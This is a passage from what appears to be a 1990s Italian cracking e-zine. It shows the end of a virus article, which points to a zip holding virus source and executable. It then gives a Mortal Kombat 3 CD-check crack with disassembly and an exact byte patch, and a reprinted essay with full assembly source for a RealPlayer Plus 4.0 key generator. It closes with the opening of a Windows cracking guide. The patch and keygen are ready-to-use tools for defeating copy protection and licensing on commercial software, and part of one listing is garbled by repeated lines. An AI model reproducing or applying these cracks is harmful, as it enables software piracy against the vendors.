RETF ;ritorno al file

END_OFFSET:
END PROGRAM_ENTRY_POINT

-----------------------FiNE-----------------------
ndr: il file virii02.zip contiene il sorgente e l'eseguibile del virus
analizzato nell'articolo.
PFloriK


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍCRACKiNGÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ M0RTAL K0MBAT 3 - CD CRACK ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍͼ

In questo numero vi presento un breve tutorial esplicativo per rimuovere il CD
CHECK, ovviamente ci sono molti diversi approcci, io ne ho scelto uno alla
portata di tutti e di facile esecuzione.
Ovviamente questa tecnica sta venendo sempre meno per via del diffondersi dei
masterizzatori che rendono il tutto molto piu' semplice, ma puo' risultare
utile specie quando non si possegga un CD ROM sufficentemente veloce e si
voglia giocare in maniera umana a qualche gioco in particolare!

Programmi Richiesti:
Un buon HexEditor (http://www.yurisw.com/hedit/download.htm
Il Disassembler W32Dasm (http://www.expage.com/page/w32dasm/)
Mortal Kombat 3 (mi pare ovvio!!!)

Mortal Kombat 3 per WIN 95 e' un vecchio gioco, ma va benissimo per spiegare in
maniera spero chiara il sistema per bypassare il cd check e quindi giocare con
il programma interamente installato sul vostro HD senza la necessita' di
inserire il CD originale.
La prima cosa che dovete fare e' installare il programma sul vostro HD, il
programma copiera' 4 files, i restanti rimarranno su CD, quindi dovrete
copiarvi a mano tutti i files presendti sul CD nelle stesse directory ma su HD.
Ovviamente se provate a far partire il programma vi chiedera' di inserire il CD
di MK 3.
A questo punto fate partire il W32DASM e aprite il file mk3w.exe, nella barra
dei menu selezionate "refs" e abilitate "Data String Refs" a questo punto
andate dove compare la scritta "insert the Mortal Kombat III CD" che e' quella
che vi da' se il CD non e' inserito. Quella che vedete e' tutta la routine del
CD CHECK, i miei commenti sono segnalati da questo simbolo: <--

* Referenced by a CALL at Address:
|:00455778 <-- Called once from 455778
|
:004552CA 55 push ebp
:004552CB 8BEC mov ebp, esp
:004552CD 81EC78040000 sub esp, 00000478
:004552D3 53 push ebx
:004552D4 56 push esi
:004552D5 57 push edi
:004552D6 C785A0FCFFFF00000000 mov dword ptr [ebp+FFFFFCA0],
00000000

* Reference To: KERNEL32.GetCommandLineA, Ord:00A1h
|
:004552E0 FF1584B37700 Call dword ptr [0077B384]
:004552E6 8985F0FDFFFF mov dword ptr [ebp+FFFFFDF0], eax

* Possible StringData Ref from Data Obj ->"mk3w.exe" <-- Questo
e' il file EXE
|
:004552EC 68B0116A00 push 006A11B0
:004552F1 8B85F0FDFFFF mov eax, dword ptr [ebp+FFFFFDF0]
:004552F7 50 push eax
:004552F8 E83F310000 call 0045843C
:004552FD 83C408 add esp, 00000008
:00455300 8985ECFDFFFF mov dword ptr [ebp+FFFFFDEC], eax

* Possible StringData Ref from Data Obj ->"xxxxx"
|
:00455306 68BC116A00 push 006A11BC
:0045530B 8B85F0FDFFFF mov eax, dword ptr [ebp+FFFFFDF0]
:00455311 50 push eax
:00455312 E825310000 call 0045843C
:00455317 83C408 add esp, 00000008
:0045531A 8985ECFDFFFF mov dword ptr [ebp+FFFFFDEC], eax
:00455320 83BDECFDFFFF00 cmp dword ptr [ebp+FFFFFDEC], 00000000
:00455327 0F8539000000 jne 00455366
:0045532D 68F8A84600 push 0046A8F8
:00455332 6804010000 push 00000104

* Reference To: KERNEL32.GetCurrentDirectoryA, Ord:00C4h
|
:00455337 FF150CB37700 Call dword ptr [0077B30C]

* Possible StringData Ref from Data Obj ->"\"
|
:0045533D 68C4116A00 push 006A11C4
:00455342 68F8A84600 push 0046A8F8
:00455347 E8D82F0000 call 00458324
:0045534C 83C408 add esp, 00000008
:0045534F 68F8A84600 push 0046A8F8
:00455354 68F8A74600 push 0046A7F8
:00455359 E8CA2F0000 call 00458328
:0045535E 83C408 add esp, 00000008
:00455361 E92F000000 jmp 00455395

* Referenced by a (U)nconditional or (C)onditional Jump at
Address:
|:00455327(C)
|
:00455366 8B85ECFDFFFF mov eax, dword ptr [ebp+FFFFFDEC]
:0045536C C60000 mov byte ptr [eax], 00
:0045536F 8B85F0FDFFFF mov eax, dword ptr [ebp+FFFFFDF0]
:00455375 50 push eax
:00455376 68F8A84600 push 0046A8F8
:0045537B E8A82F0000 call 00458328
:00455380 83C408 add esp, 00000008
:00455383 68F8A84600 push 0046A8F8
:00455388 68F8A74600 push 0046A7F8
:0045538D E8962F0000 call 00458328
:00455392 83C408 add esp, 00000008

* Referenced by a (U)nconditional or (C)onditional Jump at
Address:
|:00455361(U)
|
:00455395 68F8A84600 push 0046A8F8

* Reference To: KERNEL32.GetDriveTypeA, Ord:00D0h
|
:0045539A FF1504B37700 Call dword ptr [0077B304]
:004553A0 83F805 cmp eax, 00000005
:004553A3 0F84A5000000 je 0045544E
:004553A9 68F8A84600 push 0046A8F8

* Reference To: KERNEL32.GetDriveTypeA, Ord:00D0h
|
:004553AE FF1504B37700 Call dword ptr [0077B304]
:004553B4 83F802 cmp eax, 00000002
:004553B7 0F8491000000 je 0045544E
:004553BD 68F8A84600 push 0046A8F8

* Reference To: KERNEL32.GetDriveTypeA, Ord:00D0h
|
:004553C2 FF1504B37700 Call dword ptr [0077B304]
:004553C8 83F806 cmp eax, 00000006
:004553CB 0F847D000000 je 0045544E
:004553D1 8D8594FBFFFF lea eax, dword ptr [ebp+FFFFFB94]
:004553D7 50 push eax
:004553D8 8D858CFBFFFF lea eax, dword ptr [ebp+FFFFFB8C]
:004553DE 50 push eax
:004553DF 6A00 push 00000000
:004553E1 683F000F00 push 000F003F
:004553E6 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"MK3"
|
:004553E8 68C8116A00 push 006A11C8
:004553ED 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"\SOFTWARE\Mortal
Kombat III"
<-- Open registry path
|
:004553EF 68CC116A00 push 006A11CC
:004553F4 6802000080 push 80000002

* Reference To: ADVAPI32.RegCreateKeyExA, Ord:00B7h
|
:004553F9 FF159CB27700 Call dword ptr [0077B29C]
:004553FF 898590FBFFFF mov dword ptr [ebp+FFFFFB90], eax
:00455405 68F8A84600 push 0046A8F8
:0045540A E8C52E0000 call 004582D4
:0045540F 83C404 add esp, 00000004
:00455412 50 push eax
:00455413 68F8A84600 push 0046A8F8
:00455418 6A01 push 00000001
:0045541A 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"path" <-- Preleva il
path di installazione
|
:0045541C 68E8116A00 push 006A11E8
:00455421 8B858CFBFFFF mov eax, dword ptr [ebp+FFFFFB8C]
:00455427 50 push eax

* Reference To: ADVAPI32.RegSetValueExA, Ord:00DBh
|
:00455428 FF15A4B27700 Call dword ptr [0077B2A4]
:0045542E 898590FBFFFF mov dword ptr [ebp+FFFFFB90], eax
:00455434 8B858CFBFFFF mov eax, dword ptr [ebp+FFFFFB8C]
:0045543A 50 push eax

* Reference To: ADVAPI32.RegFlushKey, Ord:00C4h
|
:0045543B FF1598B27700 Call dword ptr [0077B298]
:00455441 8B858CFBFFFF mov eax, dword ptr [ebp+FFFFFB8C]
:00455447 50 push eax

* Reference To: ADVAPI32.RegCloseKey, Ord:00B3h
|
:00455448 FF15A0B27700 Call dword ptr [0077B2A0]

* Referenced by a (U)nconditional or (C)onditional Jump at
Addresses:
|:004553A3(C), :004553B7(C), :004553CB(C)
|

* Reference To: KERNEL32.GetLogicalDrives, Ord:00E9h <-- Questa
e' una chiamata comune nei CD CHECKS okkio!!!
|
:0045544E FF1508B37700 Call dword ptr [0077B308]
:00455454 89859CFCFFFF mov dword ptr [ebp+FFFFFC9C], eax

* Referenced by a (U)nconditional or (C)onditional Jump at
Address:
|:004555CE(C)
|
:0045545A C78588FBFFFF00000000 mov dword ptr [ebp+FFFFFB88],
00000000
:00455464 E906000000 jmp 0045546F

* Referenced by a (U)nconditional or (C)onditional Jump at
Address:
|:00455587(U)
|
:00455469 FF8588FBFFFF inc dword ptr [ebp+FFFFFB88]

* Referenced by a (U)nconditional or (C)onditional Jump at
Address:
|:00455464(U)
|
:0045546F 83BD88FBFFFF20 cmp dword ptr [ebp+FFFFFB88], 00000020
:00455476 0F8D10010000 jnl 0045558C
:0045547C B801000000 mov eax, 00000001
:00455481 8A8D88FBFFFF mov cl, byte ptr [ebp+FFFFFB88]
:00455487 D3E0 shl eax, cl
:00455489 85859CFCFFFF test dword ptr [ebp+FFFFFC9C], eax
:0045548F 0F84F2000000 je 00455587
:00455495 8B8588FBFFFF mov eax, dword ptr [ebp+FFFFFB88]
:0045549B 83C061 add eax, 00000061
:0045549E 50 push eax

* Possible StringData Ref from Data Obj ->"%c:\" <-- Un'altro
comune riferimento nei CD CHECKS
|
:0045549F 68F0116A00 push 006A11F0
:004554A4 8D85F8FDFFFF lea eax, dword ptr [ebp+FFFFFDF8]
:004554AA 50 push eax

* Reference To: USER32.wsprintfA, Ord:0248h
|
:004554AB FF1504B47700 Call dword ptr [0077B404]
:004554B1 83C40C add esp, 0000000C
:004554B4 8D85F8FDFFFF lea eax, dword ptr [ebp+FFFFFDF8]
:004554BA 50 push eax

* Reference To: KERNEL32.GetDriveTypeA, Ord:00D0h <-- Questa
invece e' una Call comune nei CD CHECKS
|
:004554BB FF1504B37700 Call dword ptr [0077B304]
:004554C1 83F805 cmp eax, 00000005 <-- 05 e' il codice del CD-ROM
:004554C4 0F85BD000000 jne 00455587
:004554CA C685FCFEFFFF00 mov byte ptr [ebp+FFFFFEFC], 00
:004554D1 6A00 push 00000000
:004554D3 6A00 push 00000000
:004554D5 8D85E4FDFFFF lea eax, dword ptr [ebp+FFFFFDE4]
:004554DB 50 push eax
:004554DC 8D85E8FDFFFF lea eax, dword ptr [ebp+FFFFFDE8]
:004554E2 50 push eax
:004554E3 6A00 push 00000000
:004554E5 6804010000 push 00000104
:004554EA 8D85FCFEFFFF lea eax, dword ptr [ebp+FFFFFEFC]
:004554F0 50 push eax
:004554F1 8D85F8FDFFFF lea eax, dword ptr [ebp+FFFFFDF8]
:004554F7 50 push eax

* Reference To: KERNEL32.GetVolumeInformationA, Ord:0135h <--
Prende il nome del volume
|
:004554F8 FF1514B37700 Call dword ptr [0077B314]
:004554FE 8D85FCFEFFFF lea eax, dword ptr [ebp+FFFFFEFC]
:00455504 50 push eax
:00455505 E8A47B0000 call 0045D0AE
:0045550A 83C404 add esp, 00000004

* Possible StringData Ref from Data Obj ->"MK3PCCDROM" <-- Questo
e' il nome del CD ROM
|
:0045550D 68F8116A00 push 006A11F8
:00455512 8D85FCFEFFFF lea eax, dword ptr [ebp+FFFFFEFC]
:00455518 50 push eax
:00455519 E89A2E0000 call 004583B8
:0045551E 83C408 add esp, 00000008
:00455521 85C0 test eax, eax
:00455523 0F855E000000 jne 00455587
:00455529 C785A0FCFFFF01000000 mov dword ptr [ebp+FFFFFCA0],
00000001
:00455533 8B8588FBFFFF mov eax, dword ptr [ebp+FFFFFB88]
:00455539 83C061 add eax, 00000061
:0045553C 50 push eax

* Possible StringData Ref from Data Obj -
>"%c:\attract\controlp.bin" <-- Controllo su questo file (Sul
path del CD)
|
:0045553D 6804126A00 push 006A1204
:00455542 8D8598FBFFFF lea eax, dword ptr [ebp+FFFFFB98]
:00455548 50 push eax

* Reference To: USER32.wsprintfA, Ord:0248h
|
:00455549 FF1504B47700 Call dword ptr [0077B404]
:0045554F 83C40C add esp, 0000000C
:00455552 8D85A4FCFFFF lea eax, dword ptr [ebp+FFFFFCA4]
:00455558 50 push eax
:00455559 8D8598FBFFFF lea eax, dword ptr [ebp+FFFFFB98]
:0045555F 50 push eax

* Reference To: KERNEL32.FindFirstFileA, Ord:007Bh
|
:00455560 FF1500B37700 Call dword ptr [0077B300]
:00455566 85C0 test eax, eax
:00455568 0F8414000000 je 00455582
:0045556E 8D85F8FDFFFF lea eax, dword ptr [ebp+FFFFFDF8]
:00455574 50 push eax
:00455575 68F8A84600 push 0046A8F8
:0045557A E8A92D0000 call 00458328
:0045557F 83C408 add esp, 00000008

* Referenced by a (U)nconditional or (C)onditional Jump at
Address:
|:00455568(C)
|
:00455582 E905000000 jmp 0045558C

* Referenced by a (U)nconditional or (C)onditional Jump at
Addresses:
|:0045548F(C), :004554C4(C), :00455523(C)
|
:00455587 E9DDFEFFFF jmp 00455469

* Referenced by a (U)nconditional or (C)onditional Jump at
Addresses:
|:00455476(C), :00455582(U)
|
:0045558C 83BDA0FCFFFF00 cmp dword ptr [ebp+FFFFFCA0], 00000000
:00455593 0F852E000000 jne 004555C7
:00455599 6A05 push 00000005

* Possible StringData Ref from Data Obj ->"MKIII Win95"
|
:0045559B 6820126A00 push 006A1220

* Possible StringData Ref from Data Obj ->"Please insert the
Mortal Kombat "
<-- La stringa che deve essere utilizzata -->"III
CD"
<-- il primo posto!
|
:004555A0 682C126A00 push 006A122C
:004555A5 6A00 push 00000000

* Reference To: USER32.MessageBoxA, Ord:0186h
|
:004555A7 FF1524B47700 Call dword ptr [0077B424]
:004555AD 8985F4FDFFFF mov dword ptr [ebp+FFFFFDF4], eax
:004555B3 83BDF4FDFFFF02 cmp dword ptr [ebp+FFFFFDF4], 00000002
<--02 se premi cancel
:004555BA 0F8507000000 jne 004555C7
:004555C0 33C0 xor eax, eax <-- Zero in eax se fallisce il CD
CHECK
:004555C2 E917000000 jmp 004555DE

* Referenced by a (U)nconditional or (C)onditional Jump at
Addresses:
|:00455593(C), :004555BA(C)
|
:004555C7 83BDA0FCFFFF00 cmp dword ptr [ebp+FFFFFCA0], 00000000
:004555CE 0F8486FEFFFF je 0045545A
:004555D4 B801000000 mov eax, 00000001 <-- 01 in eax se il CD
CHECK e' OK!
:004555D9 E900000000 jmp 004555DE

* Referenced by a (U)nconditional or (C)onditional Jump at
Addresses:
|:004555C2(U), :004555D9(U)
|
:004555DE 5F pop edi
:004555DF 5E pop esi
:004555E0 5B pop ebx
:004555E1 C9 leave
:004555E2 C3 ret <-- Ritorna alla call

Queste sono le informazioni necessarie per bypassare il CD CHECK:
La prima cosa e' la call a 455778 che ti da zero in eax se il CD
CHECK
Adesso andiamo a vedere il resto del codice...

-- Program Code --

:00455771 33C0 xor eax, eax
:00455773 E9B8080000 jmp 00456030

* Referenced by a (U)nconditional or (C)onditional Jump at
Addresses:
|:0045574A(C), :00455757(C)
|
:00455778 E84DFBFFFF call 004552CA <-- Call per il CD CHECK
:0045577D 85C0 test eax, eax <-- Controlla il risultato in eax
:0045577F 0F8507000000 jne 0045578C <-- Questa viene chiamata per
continuare
:00455785 33C0 xor eax, eax <-- CD check fallisce quindi esce
:00455787 E9A4080000 jmp 00456030 <-- Jump a WIN95

* Referenced by a (U)nconditional or (C)onditional Jump at
Address:
|:0045577F(C)
|
:0045578C 8B4508 mov eax, dword ptr [ebp+08] <-- Salta qui per
continuare il gioco
:0045578F A3F0A64600 mov dword ptr [0046A6F0], eax
:00455794 C70508A7460000000000 mov dword ptr [0046A708], 00000000
:0045579E C705F4A6460000000000 mov dword ptr [0046A6F4], 00000000

-- Prosegue Program Code --

A questo punto si puo' forzare il jump condizionato a 45577F e questo e'
possibile cambiando la call a 004552CA (E8 4D FB FF FF) in mov eax, 00000001
(B8 01 00 00 00). In questa maniera si forza eax a caricare 01 e poi viene
comparato con se stesso, quindi forza il jne (Jump Not Equal) ad essere sempre
"vero". A questo punto potrete giocare a MK3 senza il CD originale perche' il
CD CHECK risultera' sempre passato!

Infine un brevissimo riassuntino per che non ha intenzione di imparare, ma solo
di eseguire il crack:
1. Installare MK3
2. Copiare tutte le subdirectory dal CD alla subdir dove avete
installato MK3
3. Cambiare mk3w.exe all'offset 347.000
==============================
Cerca: E8 4D FB FF FF
Cambia con : B8 01 00 00 00

Ovviamente adesso lanciando il programma non vi dara' piu' problemi e potrete
giocarlo direttamente sul vostro HD.
Tengo a precisare che tutto questo e' solo a scopo didattico e non ha
assolutamente nessun altro fine.
Che ogni responsabilita' ricada su chiunque decidesse che e' il caso di provare
se la cosa funge anche su altri programmi (SI!)

Un saluto a tutti ed al prossimo numero!
Per eventuali problemi, ringraziamenti o puttanate varie:
The_Hawk@cryogen.com
The_Hawk


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍCRACKiNGÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ REAL PLAYER PLUS 4.0 - KEYGEN ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍͼ

Questo articolo proviene dalla Fravia's page of reverse engineering, dove
e' stato pubblicato il 12 febbraio. Ve lo propongo nella sua versione originale
in inglese, cosi' come e' stato mandato a Fravia (tranne qualche piccola
modifica insignificante :)

-------------------------------------------------------------------------------

How to generate RealPlayer Plus 4.0
installation keys
(the "dummy code check" trick)

by sPIRIT and Frank Black

(12 February 1998, slightly edited by fravia+)


Programmers' corner

Courtesy of fravia's page of reverse engineering

Well, I really wish my readers would use the formamus.htm model before
sending me their essay! It's not just a matter of having less editing work
to do myself, wich should already be a good reason to do it :-) I'll
repeat it once more: essays without model, like this one, will NOT be
automatically cataloged/retrieved in the (future) +HCU database. This said
you have here a very intersting work, made in couple by sPIRIT and Frank Black.
As anyone knows we are not so much favourable to the publishing of key
generators, why the hell should we allow all lamers of the planet to use stolen
software? Yet in this case there is serious reversing work in play (the "dummy
code check"
trick, if better implemented by a good protector, could really
fence some intermediate cracker attacks).
Therefore it makes good reading for intermediate crackers and intermediate
protectors alike. Besides I think that the complete ASM code for the
keygenerator that sPIRIT and Frank Black have included at the bottom can be
useful for any serious reverser: this kind of structure (mainloop-critter)
could in fact be used in order to reverse other ripped schemes... I like
moreover the work approach that the Authors have chosen: Frank Black explaining
the cracking session without code and sPIRIT commenting for you the code after
you having read Frank Black's overall intro... as you will read, this results
in a very sound essay.
Enjoy!


How to generate RealPlayer Plus 4.0 installation keys
By sPIRIT - sOFTPROJECT 98, and Frank Black

Tools needed:
SoftICE (Winsuxx 95 or NT version)
Any ASM compiler (TASM 3.2 or greater will do)


Hello World, this is Frank Black writing!

I've been searching for some time for a code/keygen for RealAudio Player Plus,
but it looks like I couldn't find anything so far... so I decided to do it on
my own :)
Too bad I discovered AFTERWARDS that the record function does not convert
audio streams to RA files, but only allows to save streams from netradios on
the hard disk... bah, who cares, I did this and I'm going to tell you
everything. Thanks to sPIRIT^SPJ who helped me a bit, expecially teaching SiCE
commands, messing up the debug phase and writing this article.

As a newbie to NT cracking (I just installed SoftIce/NT yesterday and never
had experiences about NT cracking) I played around a lot... sorry if it
doesn't sound clear O:) There has to be an easier way to crack this target,
changing a flag in one memory location or such, but I thought a keygen was
more userful and funnier.

Okay, at first I expanded the installation package to my HDD and hooked the
GetWindowTextA, which the installation program seems to use intensively.
Even if it calls it when you press a key, don't think about it, it's just
to write out the new code.
The first thing that comes to mind is that just after you press "NEXT>" it
reads the 3 codes, copies them to another memory area and then checks for some
kind of flag (or at least I thought so) which will probably go wrong
(CAC instead of CAB). Setting the register and/or the memory to CAB will not
show the warning message, but it will also NOT install the target correcly.
Something better had to be done...

BPM to the new-written memory area containing the codes (funny, it writes them
in 3 different lines, with an offset of 10h between each beginning) and some
skipping. It had to read them, or else they were useless... and indeed, SiCE
soon told me that it was. Even more funnier, it was copying them to another
memory area. New BPM to this new area (why was it coping them? not for fun,
of course :).
When SiCE popped up again, the installation program was checking for the
numbers to be digits. Some skip of these routines, then I came to some other
call, which I traced... what a real mess!!! A lookup table, a lot of memory
writes... ARGH... I'll tell you... this is probably the most messed up
ASCIIZ -> BIN code snippet I've ever seen... they have for sure spent some
days rewriting this part in assembly ;))) After some like 1 hour trying to
understand it, it just returned a number in EAX, and it was what I wrote
sooner.
BPC, and BPX to next call, since it was pushing the code...

The next call contained some interesting code like I've rarely seen
elsewhere... it had to be the encrypt/test routine. It just checks for a
number to be inserted (1000-00-1000, which I first thought was some magic
register-all code, but instead it was the 'fake magic number' he was putting
in when the input code was wrong 8))), does some cripples with the codes
(the routine reads the 10 digits... I did not spend almost any time at
all understanding it, I didn't care at all).
A couple of lines below was the interesting part. Some codes were written
in memory and especially in EAX there was some interesting code... the program
was putting 2 different values from 2 quite different tables with values
ranging from 0 to 8 with some checks for equality... this had to be the code
check. It took just some patience to copy it down in a text file and make it
callable via assembly :))) just a loop to check if the output from the routine
(with 3 lines from the function which originally got original result) was
0 or 1... at the 1st 1 (duh...) I found I tried the code... it worked, among
with all other codes it said to be good 8)

Now it's sPIRIT writing.

I know that this program is rather old, but it's always interesting to see how
a GOOD utility is protected, just for learning' sake.
Here are some code snippets from the PNSETUP.EXE diassembled listing.
Take a look at this code:

* Referenced by a Jump at Address:00404736(C)

:004047AB 8D4C2410 lea ecx, dword ptr [esp+10] ;Here is our key
:004047AF E8BCD4FFFF call 00401C70 ;Let's check it!!
:004047B4 85C0 test eax, eax ;Is EAX=00000001 ?
:004047B6 7420 je 004047D8 ;Too bad! It's a WRONG key
:004047B8 8D4C2410 lea ecx, dword ptr [esp+10]
:004047BC E89F430000 call 00408B60 ;Let's check it another time
:004047C1 85C0 test eax, eax
:004047C3 7513 jne 004047D8 ;Uhm... BAD key!
:004047C5 8D4C2410 lea ecx, dword ptr [esp+10]
:004047C9 E8D2000000 call 004048A0 ;Good key, you honest guy!
:004047CE 33C0 xor eax, eax
:004047D0 5E pop esi
:004047D1 81C45C010000 add esp, 0000015C
:004047D7 C3 ret

* Referenced by a Jump at Addresses:004047B6(C), :004047C3(C)

:004047D8 8D442434 lea eax, dword ptr [esp+34] ;Jumps here when a BAD key is
:004047DC 682C010000 push 0000012C ;entered
:004047E1 50 push eax

* Possible Reference to String Resource ID=03271: "Warning: This is an
invalid serial number! "


And the program goes on asking for a new key, or installing the lite version.
Now the question is, what does the "call 00401C70" do?

* Referenced by a Jump at Address:00401C65(U)

:00401C70 E84B6E0000 call 00408AC0 ;ASCIIZ -> HEX conversion
:00401C75 50 push eax ;the code now is in EAX
:00401C76 E8656D0000 call 004089E0 ;Let's check it
:00401C7B 83C404 add esp, 00000004
:00401C7E C3 ret

Here is the code that checks the keycode, as Frank Black explained:

* Referenced by a CALL at Addresses:004089E5 , :00408B71

:00408BA0 83EC14 sub esp, 00000014
:00408BA3 53 push ebx
:00408BA4 56 push esi
:00408BA5 8B742420 mov esi, dword ptr [esp+20]
:00408BA9 57 push edi
:00408BAA 55 push ebp
:00408BAB 81FEE8CD9A3B cmp esi, 3B9ACDE8 ;This checks for a dummy code
:00408BB1 750D jne 00408BC0 ;(1000-00-1000)
:00408BB3 B801000000 mov eax, 00000001
:00408BB8 5D pop ebp
:00408BB9 5F pop edi
:00408BBA 5E pop esi
:00408BBB 5B pop ebx
:00408BBC 83C414 add esp, 00000014
:00408BBF C3 ret

The dummy code check was a bitch to understand. It sees that that key is
something similar to a *magic* one, as it also sets the flag in eax (00000001),
but the code that followed doesn't fill all the flags. In fact, a later call
checks for HEXcode = 3B9ACDE8, and reports a BAD KEY status.
Let's go on.

* Referenced by a Jump at Address:00408BB1(C)

:00408BC0 85F6 test esi, esi ;The key can't be all 0's
:00408BC2 750A jne 00408BCE ;The key isn't all 0's: real check
:00408BC4 33C0 xor eax, eax ;or the fake "magic"
:00408BC6 5D pop ebp
:00408BC7 5F pop edi
:00408BC8 5E pop esi
:00408BC9 5B pop ebx
:00408BCA 83C414 add esp, 00000014
:00408BCD C3 ret

The "jne 00408BCE" brings to the REAL key check, it begins this way:

* Referenced by a Jump at Address:00408BC2(C)

:00408BCE 33C9 xor ecx, ecx
:00408BD0 BF01000000 mov edi, 00000001
...
...
:00408C7E 89442420 mov dword ptr [esp+20], eax

EAX contains the flag, 00000000 if the key is not valid, 00000001 otherwise
(as we want!)

* Jump from Addresses:00408C08(C), :00408C68(C), :00408C6E(C), :00408C78(C)

:00408C82 8B442420 mov eax, dword ptr [esp+20]
:00408C86 5D pop ebp
:00408C87 5F pop edi
:00408C88 5E pop esi
:00408C89 5B pop ebx
:00408C8A 83C4
:00408C8A 83C4
:00408C8A 83C4
:00408C8A 83C414 add esp, 00000014
:00408C8D C3 ret

Ok. This check is over, but later on, at :004047BC call 00408B60, it
checks the code another time, to see if the first time we entered the fake
magic I mentioned above (in that case the flag in eax was set), and if it
was done, fails the Ok, the real key check was ripped, along with the two
tables it used to check if the entered code was valid, located at 0040B5A8
and 0040B6C8. Simply take a look at the source code of the keygen to see
how they are used.

----------------- CUT HERE ---------------------------------------------------

; RealPlayer Plus 4.0 random installation key generator
; By sPIRIT and Frank Black - sOFTPROJECT 98

.model small
.486p
.stack 100h

.data
table1 label dword
dd 1,2,3,4
dd 5,6,7,8
dd 1,0,1,2
dd 3,4,5,6
dd 7,8,1,0
dd 1,2,3,4
dd 5,6,7,8
dd 1,0,1,2
dd 3,4,5,6
dd 7,8,1,0
dd 1,2,3,4
dd 5,6,7,8
dd 1,0,1,2
dd 3,4,5,6
dd 7,8,1,0
dd 1,2,3,4
dd 5,6,7,8
dd 1,0,1,2

table2 label dword
dd 2,4,6,8
dd 0,1,3,5
dd 3,1,2,4
dd 6,8,0,1
dd 3,5,3,1
dd 2,4,6,8
dd 0,1,3,5
dd 3,1,2,4
dd 6,8,0,1
dd 3,5,3,1
dd 2,4,6,8
dd 0,1,3,5
dd 3,1,2,4
dd 6,8,0,1
dd 3,5,3,1
dd 2,4,6,8
dd 0,1,3,5
dd 3,1,2,4

vstack dd 40 dup (?)

header db "RealPlayer Plus v4.0 installation random key generator",13,10
db "By sPIRIT and Frank Black - sOFTPROJECT 98 - 9th february,
1998"
,10,10,13,"$"

byebye db 13,10,10,"sOFTPROJECT 98",10,13
db "Mail us at: sPIRIT <immagika@usa.net> and Frank Black"
db "<f.black@deathsdoor.com>",10,13,"$"

textbuffer db 13,"__________ <space> for another code, any other key to quit$"

.code

.startup

mov ax,@data
mov ds,ax

mov dx,offset header
mov ah,9h
int 21h

in al, 40h
shl ax, 8
in al, 40h
shl eax,8
in al, 40h
shl eax,8
in al, 40h
mov esi,eax ;Random startup point for quite different codes in few time

mainloop:

push esi
call critter
pop esi
or eax, eax
jng short l_notfound

mov di, offset textbuffer + 10
mov cx, 10
mov eax, esi
mov ebp, 10

itoa:
xor dx, dx
div ebp
add dl, 30h
mov [di], dl
dec di
dec cx
jnz short itoa

mov ah, 9
mov dx, offset textbuffer
int 21h

xor ax, ax
int 16h

cmp al, ' '
je short l_notfound

mov dx,offset byebye
mov ah,9h
int 21h

mov ax,4c00h
int 21h

l_notfound:

in al, 40h
shl ax, 8
in al, 40h
shl eax,8
in al, 40h
shl eax,8
in al, 40h
mov esi,eax ;Random startup point for quite different codes in few time

jnz short mainloop

;original code test routine from RealAudio Player Plus 4.0 setup (PNSETUP.EXE)
;Requires (ASCIIZ -> HEX) code in ESI
;Returns EAX = 1 if code is valid, 0 else

critter proc
xor ecx,ecx
mov edi,1
mov eax,-1
lea ebx, [vstack+14h]
mov [vstack+20h], ecx
mov [vstack+10h], ecx
mov [vstack+1ch], ecx
mov [vstack+14h], eax
mov [vstack+18h], eax

lbf2:
mov ebp, 0ah
mov eax, esi
sub edx, edx
div ebp
cmp dl,06
jnz lc14
lea eax,[vstack+1ch]
cmp edx,eax
jae lc82
movsx eax,cl
mov [ebx],eax
add ebx,04
jmp lc2f

lc14:
movsx eax,dl
add [vstack+1ch],eax
cmp dl,6
jle lc22
dec dl

lc22:
movsx eax,dl
imul eax,edi
lea edi,[edi*8+edi]
add [vstack+10h],eax

lc2f:
mov ebp,0ah
mov eax,esi
sub edx,edx
inc cl
div ebp
mov esi,eax
cmp cl,0ah
jl lbf2

mov eax,[vstack+1ch]
shl eax,2
mov edx,[eax+table1]
mov eax,[eax+table2]
cmp eax,edx
mov ecx,eax
jg lc5e
mov ecx,edx

lc5e:
cmp eax,edx
jl lc64
mov eax,edx

lc64:
cmp eax,[vstack+14h]
jnz lc82
cmp ecx,[vstack+18h]
jnz lc82
cmp dword ptr [vstack+10h], 121eabfh ; another fake magic???
ja lc82
mov eax,[vstack+10h]
mov [vstack+20h],eax

lc82:
mov eax,[vstack+20h]

cmp eax,1
sbb eax,eax
inc eax
ret
critter endp

END

----------------- CUT HERE ---------------------------------------------------

Keep up the good work
sPIRIT - sOFTPROJECT 98

(c) 1998 sPIRIT and Frank Black All rights reversed
Frank Black
sPIRIT


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍCRACKiNGÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ CRACKARE i PR0GRAMMi WiND0WS ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍͼ
I PARTE
-------------------------------------------------------------------------------
----------> Softproject 1998 Cracking Division - Dr_Slump 21/04/1998 <---------
-----------> Guida su come Craccare i programmi Windows - Parte 1 - <----------
-------------------------------------------------------------------------------

Come cominciare? Che ne dite di un bel Porco ... ehm tralasciamo che forse e'
meglio va!
E' meglio che mi rifaccia allo stile PigPen:
*Materiale di consumo: mezzo litro di te al limone + pacchetto mini di wafer al
cioccolato
*Musica di sottofondo: Radio Deejay (attualmente c'e' Baldini)
